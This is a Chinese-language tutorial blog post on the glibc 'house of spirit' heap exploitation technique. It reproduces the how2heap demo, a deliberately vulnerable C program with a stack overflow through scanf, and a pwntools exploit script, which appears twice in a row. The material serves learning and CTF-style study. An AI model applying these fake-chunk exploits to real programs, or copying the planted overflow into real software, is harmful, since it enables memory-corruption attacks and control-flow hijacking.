开篇
本篇接上篇的house of spirit技术的学习,上篇我们翻译了这个技术来源的文章,这篇我们将通过实例和总结来进行一个更深入的了解
house of spirit 简介
- 攻击方式:结合栈溢出和堆溢出
攻击效果:返回任意位置作为一个chunk
攻击要求:
可溢出控制某个malloc返回的地址
- 被控制的地址被free
- 再次malloc一个chunk
- 可对第二次分配的chunk进行输入
house of spirit 解释
这种方法主要是通过利用构造一个fakechunk,然后控制一个free去达到溢出的效果。原文中的思路,是在栈上构造一个fakechunk,这样把函数指针或者栈上的函数返回值包起来,这样下次写入就可以更改掉这个返回值从而劫持控制流。
这里还需要注意一个fastbin的next size的正确性检验,也就是说fastbin的chunk的next chunk的size也必须是在fastbin的大小范围内,且和我当前这个chunk的大小一样,否则就会出错,所以原文的方法是:
- 控制返回地址前的栈上位置的内容,构造fakechunk头
- 控制返回地址后的栈上位置的内容,构造next chunk 的fake chunk 头
- 通过溢出,控制free的内容,使得free返回地址前的那个fake chunk
- 再次分配,使得返回地址前的fake chunk被分配
- 写入fake chunk,即可写返回地址
house of spirit 示例
shellphish/how2heap
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
fake_chunks[9] = 0x2240; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %p\n", malloc(0x30));
}
shellphish的这个可以说是把基本的东西都已经囊括了,我在这里做一个简单的解释。
首先用malloc(1)进行了初始化,然后用一个fake_chunks数组来模拟两个fake_chunk,一个位于0下标的位置,一个位于8下标的位置,1下标是第一个chunk的size,9下标是第二个chunk的size。
因为第一个chunk的大小为64字节,64位系统环境下8字节一个数字,所以从0下标开始,到8下标之前刚好64个字节,那么下一个chunk就正好连在他的后面,所以第二个chunk从8下标位置开始是prev_size,9下标是size,next size的检查要检查下一个chunk的size是否合法,所以9下标size这个值必须是合法的size值,所以给他赋值为合法值。
然后free第一个chunk,通过了检测之后下一次分配相应大小的chunk就会把这个第一个chunk分配出来了。
一个简单的示例
exploitable.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln() {
char *inner = (char*) malloc(20);
char input[50];
printf("%p\n", input); // simulate a leak
scanf("%s", input); // a stack overflow, and here a fake chunk can be constructed
free(inner);
char *another = (char*) malloc(60);
printf("allocated = %p\n", another);
}
int main() {
char a[20];
scanf("%s", a);
// This scanf is before vuln, which the address will be higher than the return-address,
// use this to pass next-size integrity check
vuln();
return 0;
}
exp.py
#!/usr/bin/python2
'''
exploit
'''
from pwn import *
PROC = process("./test")
def construct_chunk_head(prev_chunk_size, chunk_size, chunk_forward):
'''
since fastbin chunk has no BK, set it to 0
'''
return p32(prev_chunk_size) + p32(chunk_size) + p32(chunk_forward) + p32(0x0)
def main():
'''main'''
global PROC
cons = construct_chunk_head(0, 64, 0)
cons += p32(0x40)
PROC.sendline(cons)
#pwnlib.gdb.attach(PROC, execute="b *0x0804855f\nb *0x8048509\nc")
rec = PROC.recvline()[:-1]
leak = int(rec, 16)
log.info(hex(leak))
a_ptr = leak + 86
payload = construct_chunk_head(0, 64, 0)
where = 50 - len(payload)
payload = 'a' * (where) + payload + 'b' * 4
payload += p32(leak + where + 8)
log.info("freeing: " + hex(leak + where + 8))
PROC.sendline(payload)
log.info("get:" + PROC.recvline())
if __name__ == "__main__":
main()#!/usr/bin/python2
'''
exploit
'''
from pwn import *
PROC = process("./test")
def construct_chunk_head(prev_chunk_size, chunk_size, chunk_forward):
'''
since fastbin chunk has no BK, set it to 0
'''
return p32(prev_chunk_size) + p32(chunk_size) + p32(chunk_forward) + p32(0x0)
def main():
'''main'''
global PROC
cons = construct_chunk_head(0, 64, 0)
cons += p32(0x40)
PROC.sendline(cons)
rec = PROC.recvline()[:-1]
leak = int(rec, 16)
log.info(hex(leak))
a_ptr = leak + 86
payload = construct_chunk_head(0, 64, 0)
where = 50 - len(payload)
payload = 'a' * (where) + payload + 'b' * 4
payload += p32(leak + where + 8)
log.info("freeing: " + hex(leak + where + 8))
PROC.sendline(payload)
log.info("get:" + PROC.recvline())
if __name__ == "__main__":
main()
这个示例的原理和第一个类似,不过这里稍微真实一点,和原文提出这个方法的情况比较相似,即通过两个可以控制的值把需要改动的值包起来,一个在下面一个在上面,通过低于他的那个来构造fakechunk,高于他的那个来构造可以通过next size检测的输入就可以将低于目标值的fake chunk分配出来了,然后更改fake chunk里的值就可以更改到想写的目标值了。